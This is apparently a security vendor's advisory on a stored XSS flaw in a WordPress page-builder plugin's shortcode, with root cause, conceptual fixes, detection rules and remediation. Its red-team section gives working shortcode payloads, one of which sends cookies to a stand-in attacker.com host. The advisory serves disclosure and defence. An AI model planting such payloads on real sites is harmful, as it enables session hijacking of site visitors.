CVE-2025-11376

Executive Summary

CVE-2025-11376 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.335. The flaw resides in the colibri_loop shortcode, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode. The vulnerability has a CVSS score of 6.4 (Medium), and while the EPSS score is currently 0.0%, the lack of a known patch makes it a significant risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Colibri Page Builder plugin. It is not an NPM, PyPI, Go, or Ruby package issue. The plugin is distributed via the WordPress plugin repository and directly by the vendor. Users should verify the integrity of their plugin files and monitor for official updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but contributor-level access is common in multi-author WordPress sites. Successful exploitation allows attackers to inject malicious scripts that can steal session cookies, redirect users, or deface pages.

Deep Dive & Mechanics

The vulnerability is in the colibri_loop shortcode, which is part of the Colibri Page Builder plugin. This shortcode is used to display dynamic content, such as post loops or custom queries. The plugin fails to properly sanitize and escape user-supplied attributes passed to the shortcode.

Root Cause:

• Insufficient Input Sanitization: The plugin does not filter or validate the attributes parameter of the colibri_loop shortcode.
• Insufficient Output Escaping: When rendering the shortcode, the plugin outputs the attribute values directly into the HTML without proper escaping (e.g., using esc_attr() or wp_kses()).

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The attacker inserts the [colibri_loop] shortcode with a malicious attribute, such as:

   [colibri_loop attribute="<script>alert('XSS')</script>"]
   

3. The plugin processes the shortcode and outputs the attribute value without escaping, injecting the script into the page.
4. When any user (including administrators) visits the page, the script executes in their browser.

Impact:

• Session hijacking
• Defacement
• Redirection to malicious sites
• Phishing attacks

Vulnerable vs. Patched Code

Since no patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

function colibri_loop_shortcode($atts) {
    $attribute = $atts['attribute'];
    return "<div class='colibri-loop' data-attr='$attribute'>Content</div>";
}
add_shortcode('colibri_loop', 'colibri_loop_shortcode');

Patched Code (Conceptual):

function colibri_loop_shortcode($atts) {
    $attribute = esc_attr($atts['attribute']);
    return "<div class='colibri-loop' data-attr='$attribute'>Content</div>";
}
add_shortcode('colibri_loop', 'colibri_loop_shortcode');

The patched version uses esc_attr() to escape the attribute value before outputting it, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Colibri Page Builder plugin version <= 1.0.335.
• An account with contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. In the content editor, insert the following shortcode:

   [colibri_loop attribute="<script>alert(document.cookie)</script>"]
   

4. Publish the post.
5. When any user visits the post, the JavaScript executes.

Advanced Payload:

[colibri_loop attribute="<img src=x onerror=this.src='http://attacker.com/steal.php?cookie='+document.cookie>"]

Blue Team

Detection:

• Monitor for posts/pages containing the [colibri_loop] shortcode with suspicious attributes.
• Use web application firewalls (WAF) to block requests containing <script> tags in shortcode attributes.
• Review user activity logs for unusual shortcode usage.

Mitigation:

• Disable the Colibri Page Builder plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified WordPress posts/pages containing the [colibri_loop] shortcode with malicious attributes.
• Network Indicators:
  • Outbound connections to attacker-controlled domains from compromised WordPress sites.
• Log Indicators:
  • WordPress audit logs showing creation of posts with [colibri_loop] shortcode by non-admin users.
  • Web server logs showing requests to pages containing the malicious shortcode.

Detection Engineering

YARA Rule

rule CVE_2025_11376_Colibri_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Colibri Page Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11376"
    strings:
        $shortcode = /\[colibri_loop\s+[^\]]*?attribute\s*=\s*["'][^"']*?<script[^>]*?>.*?<\/script>["']/ nocase
        $xss_payload = /<script[^>]*?>.*?<\/script>/ nocase
    condition:
        $shortcode or $xss_payload
}

Sigma Rule

title: CVE-2025-11376 Colibri Page Builder Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via colibri_loop shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'colibri_loop'
        cs-uri-query|re: 'attribute\s*=\s*["\x27][^"\x27]*?<script'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11376 Colibri Page Builder Stored XSS"; flow:to_server,established; content:"colibri_loop"; http_uri; pcre:"/attribute\s*=\s*["\x27][^"\x27]*?<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and remove the Colibri Page Builder plugin until an official patch is released.
2. Restrict User Roles: Limit contributor-level access to only trusted users. Consider using a plugin to restrict shortcode usage to administrators.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> tags in shortcode attributes.

Long-Term Fix:

• Monitor the Colibri plugin page for updates. Apply the patch as soon as it becomes available.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits of WordPress plugins.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin code to add esc_attr() to the vulnerable shortcode attribute (see patched code example).

Valters IT
Securing Digital Frontiers